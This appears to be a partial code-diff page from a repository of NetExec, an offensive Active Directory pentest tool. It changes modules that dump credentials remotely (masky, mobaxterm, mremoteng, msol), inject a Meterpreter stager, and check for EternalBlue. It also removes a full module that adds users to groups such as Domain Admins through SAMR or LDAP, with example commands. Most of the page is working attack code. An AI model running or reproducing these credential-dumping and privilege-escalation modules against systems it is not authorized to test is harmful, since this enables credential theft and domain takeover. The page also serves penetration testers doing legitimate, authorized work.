-14
@@ -1,11 +1,9 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from pyasn1.error import PyAsn1Error
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Shutdown and Podalirius
|
||||
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
|
||||
|
||||
Initial module:
|
||||
https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
|
||||
@@ -16,21 +14,17 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
pass
|
||||
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
|
||||
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
|
||||
entries = parse_result_attributes(ldap_response)
|
||||
|
||||
if not entries:
|
||||
context.log.fail("No LDAP entries returned.")
|
||||
return
|
||||
|
||||
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
|
||||
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
|
||||
try:
|
||||
maq = result[0]["attributes"][0]["vals"][0]
|
||||
context.log.highlight(f"MachineAccountQuota: {maq}")
|
||||
except PyAsn1Error:
|
||||
context.log.highlight("MachineAccountQuota: <not set>")
|
||||
@@ -1,13 +1,11 @@
|
||||
from masky import Masky
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "masky"
|
||||
description = "Remotely dump domain user credentials via an ADCS and a KDC"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
@@ -81,8 +79,8 @@ class NXCModule:
|
||||
|
||||
pwned_users = 0
|
||||
for user in rslts.users:
|
||||
if user.nt_hash:
|
||||
context.log.highlight(f"{user.domain}\\{user.name} {user.nt_hash}")
|
||||
if user.nthash:
|
||||
context.log.highlight(f"{user.domain}\\{user.name} {user.nthash}")
|
||||
self.process_credentials(connection, context, user)
|
||||
pwned_users += 1
|
||||
|
||||
@@ -98,7 +96,7 @@ class NXCModule:
|
||||
"hash",
|
||||
user.domain,
|
||||
user.name,
|
||||
user.nt_hash,
|
||||
user.nthash,
|
||||
pillaged_from=host,
|
||||
)
|
||||
add_user_bh(user.name, user.domain, context.log, connection.config)
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
from sys import exit
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -11,7 +10,6 @@ class NXCModule:
|
||||
name = "met_inject"
|
||||
description = "Downloads the Meterpreter stager and injects it into memory"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.rand = None
|
||||
|
||||
+36
-10
@@ -1,34 +1,60 @@
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
supported_protocols = ["smb"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
def mobaxterm_callback(credential):
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
|
||||
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
|
||||
try:
|
||||
context.log.success("Looting MobaXterm secrets")
|
||||
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
triage.triage_mobaxterm()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
@@ -1,168 +0,0 @@
|
||||
import contextlib
|
||||
import sys
|
||||
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE
|
||||
from impacket.dcerpc.v5 import samr
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module for adding/removing users to/from groups
|
||||
Module by @termanix
|
||||
"""
|
||||
|
||||
name = "modify-group"
|
||||
description = "Modify the group membership of users and computers"
|
||||
supported_protocols = ["smb", "ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Required (at least one of):
|
||||
GROUP Name of the group to add/remove the user to/from
|
||||
USER Username of the account to modify
|
||||
|
||||
Optional:
|
||||
REMOVE Set to 'True' to remove the user from the specified group instead of adding (default: False)
|
||||
|
||||
Examples
|
||||
--------
|
||||
Adding a user to a group:
|
||||
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins'
|
||||
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins'
|
||||
|
||||
Removing a user from a group:
|
||||
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins' REMOVE=True
|
||||
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins' REMOVE=True
|
||||
|
||||
SMB/SAMR KNOWN LIMITATIONS:
|
||||
- SAMR only supports modification of Global security groups.
|
||||
Domain Local and Universal groups require the LDAP protocol.
|
||||
- Cross-domain groups (e.g. Enterprise Admins) cannot be modified via SAMR.
|
||||
Use LDAP instead.
|
||||
|
||||
"""
|
||||
self.group = module_options.get("GROUP")
|
||||
self.target_user = module_options.get("USER")
|
||||
self.remove = module_options.get("REMOVE", "False").lower() == "true"
|
||||
|
||||
if not (self.target_user and self.group):
|
||||
context.log.fail("USER and GROUP parameters are required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
if context.protocol == "smb":
|
||||
self._modify_group_smb()
|
||||
elif context.protocol == "ldap" and self.group:
|
||||
self._modify_group_ldap()
|
||||
|
||||
def _modify_group_smb(self):
|
||||
"""Modify group membership using SMB/SAMR protocol"""
|
||||
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
if not dce:
|
||||
return
|
||||
|
||||
# Get domain handle
|
||||
try:
|
||||
server_handle = samr.hSamrConnect(dce, self.connection.host + "\x00")["ServerHandle"]
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(dce, server_handle, self.connection.domain)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid)["DomainHandle"]
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to connect to SAMR service: {e}")
|
||||
return
|
||||
|
||||
# Find the user RID
|
||||
try:
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.target_user,))["RelativeIds"]["Element"][0]
|
||||
except Exception as e:
|
||||
if "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"Target user not found: {self.target_user}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to find user RID: {e}")
|
||||
return
|
||||
|
||||
# Find the group RID and open the group
|
||||
try:
|
||||
group_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.group,))["RelativeIds"]["Element"][0]
|
||||
group_handle = samr.hSamrOpenGroup(dce, domain_handle, groupId=group_rid)["GroupHandle"]
|
||||
except Exception as e:
|
||||
if "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"Target group not found: {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to find group: {e}")
|
||||
return
|
||||
|
||||
# Modify group membership
|
||||
if self.remove:
|
||||
try:
|
||||
samr.hSamrRemoveMemberFromGroup(dce, group_handle, user_rid)
|
||||
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
|
||||
except Exception as e:
|
||||
if "STATUS_MEMBER_NOT_IN_GROUP" in str(e):
|
||||
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to remove user from group via SMB: {e}")
|
||||
else:
|
||||
try:
|
||||
samr.hSamrAddMemberToGroup(dce, group_handle, user_rid, 0x7)
|
||||
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
|
||||
except Exception as e:
|
||||
if "STATUS_MEMBER_IN_GROUP" in str(e):
|
||||
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to add user to group via SMB: {e}")
|
||||
|
||||
# Disconnect from DCE/RPC
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
def _modify_group_ldap(self):
|
||||
"""Modify group membership using LDAP protocol"""
|
||||
# Get the DN of the target user
|
||||
resp = self._find_object_dn(self.target_user)
|
||||
if not resp:
|
||||
self.context.log.fail(f"Target user not found: {self.target_user}")
|
||||
return
|
||||
else:
|
||||
target_user_dn = resp[0]["distinguishedName"]
|
||||
|
||||
# Get the DN of the target group
|
||||
resp = self._find_object_dn(self.group)
|
||||
if not resp:
|
||||
self.context.log.fail(f"Target group not found: {self.group}")
|
||||
return
|
||||
else:
|
||||
group_dn = resp[0]["distinguishedName"]
|
||||
|
||||
# Modify group membership
|
||||
if self.remove:
|
||||
try:
|
||||
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_DELETE, [target_user_dn])]})
|
||||
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
|
||||
except Exception as e:
|
||||
if "unwillingToPerform" in str(e):
|
||||
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to remove user from group via LDAP: {e}")
|
||||
else:
|
||||
try:
|
||||
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_ADD, [target_user_dn])]})
|
||||
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
|
||||
except Exception as e:
|
||||
if "entryAlreadyExists" in str(e):
|
||||
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to add user to group via LDAP: {e}")
|
||||
|
||||
def _find_object_dn(self, value):
|
||||
"""Find the distinguished name (DN) of an object by sAMAccountName"""
|
||||
resp = self.connection.ldap_connection.search(
|
||||
searchFilter=f"(sAMAccountName={value})",
|
||||
attributes=["distinguishedName"]
|
||||
)
|
||||
return parse_result_attributes(resp)
|
||||
+53
-14
@@ -1,10 +1,12 @@
|
||||
import ntpath
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -23,8 +25,7 @@ class NXCModule:
|
||||
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
supported_protocols = ["smb"]
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.false_positive = (
|
||||
@@ -40,7 +41,6 @@ class NXCModule:
|
||||
self.mRemoteNg_path = [
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
|
||||
]
|
||||
|
||||
self.custom_user_path = [
|
||||
@@ -67,31 +67,70 @@ class NXCModule:
|
||||
self.custom_path = module_options["CUSTOM_PATH"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# 1. Evole conn into dploot conn
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
|
||||
self.dploot_conn = connection.dpapi_triage.conn
|
||||
self.share = connection.args.share
|
||||
|
||||
users = self.dploot_conn.list_users()
|
||||
host = f"{connection.hostname}.{connection.domain}"
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
# Search for mRemoteNG files
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if dploot_conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
|
||||
# 3. Search for mRemoteNG files
|
||||
for user in users:
|
||||
for path in self.mRemoteNg_path:
|
||||
user_path = ntpath.join(path.format(username=user), "confCons.xml")
|
||||
content = self.dploot_conn.read_file(share=self.share, path=user_path)
|
||||
content = dploot_conn.readFile(self.share, user_path)
|
||||
if content is None:
|
||||
continue
|
||||
self.context.log.info(f"Found confCons.xml file: {user_path}")
|
||||
self.handle_confCons_file(content)
|
||||
for path in self.custom_user_path:
|
||||
user_path = path.format(username=user)
|
||||
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
if self.custom_path is not None:
|
||||
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
|
||||
content = dploot_conn.readFile(self.share, self.custom_path)
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
|
||||
return users
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
@@ -112,7 +151,7 @@ class NXCModule:
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
nodes = []
|
||||
@@ -126,7 +165,7 @@ class NXCModule:
|
||||
return nodes
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.list_dir(share=self.share, path=directory_path)
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
if directory_list is not None:
|
||||
for item in directory_list:
|
||||
if item.get_longname() not in self.false_positive:
|
||||
@@ -138,7 +177,7 @@ class NXCModule:
|
||||
# It's a file, download it to the output share if the mask is ok
|
||||
if "confCons.xml" in item.get_longname():
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.read_file(share=self.share, path=new_path)
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
|
||||
@@ -5,7 +5,6 @@
|
||||
from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure
|
||||
import socket
|
||||
import struct
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
@@ -55,7 +54,6 @@ class NXCModule:
|
||||
name = "ms17-010"
|
||||
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -3,7 +3,6 @@
|
||||
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
|
||||
# Fully rewritten by @NeffIsBack
|
||||
from base64 import b64encode
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
@@ -12,7 +11,6 @@ class NXCModule:
|
||||
name = "msol"
|
||||
description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
|
||||
@@ -1,58 +0,0 @@
|
||||
from impacket import tds
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module written by @Defte_"""
|
||||
name = "mssql_cbt"
|
||||
description = "Checks whether Channel Binding is enabled on the MSSQL database"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.logger = context.log
|
||||
|
||||
if not connection.encryption:
|
||||
self.logger.highlight("TLS not required: Channel Binding Token NOT REQUIRED")
|
||||
return
|
||||
|
||||
if connection.args.local_auth:
|
||||
self.logger.highlight("Local auth: CANNOT check Channel Binding Token configuration")
|
||||
return
|
||||
|
||||
new_conn = tds.MSSQL(connection.host, connection.port, connection.conn.remoteName)
|
||||
new_conn.connect(connection.args.mssql_timeout)
|
||||
|
||||
if connection.kerberos:
|
||||
success = new_conn.kerberosLogin(
|
||||
None,
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.targetDomain,
|
||||
f"{connection.lmhash}:{connection.nthash}" if connection.lmhash or connection.nthash else None,
|
||||
connection.aesKey,
|
||||
connection.kdcHost,
|
||||
None,
|
||||
None,
|
||||
connection.use_kcache,
|
||||
cbt_fake_value=b""
|
||||
)
|
||||
else:
|
||||
success = new_conn.login(
|
||||
None,
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.targetDomain,
|
||||
f"{connection.lmhash}:{connection.nthash}" if connection.lmhash or connection.nthash else None,
|
||||
not connection.args.local_auth,
|
||||
cbt_fake_value=b""
|
||||
)
|
||||
|
||||
if success:
|
||||
self.logger.highlight("Connection successful: Channel Binding Token NOT REQUIRED")
|
||||
else:
|
||||
self.logger.highlight("Connection failed: Channel Binding Token REQUIRED")
|
||||
new_conn.disconnect()
|
||||
Loaded 100 of 232 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user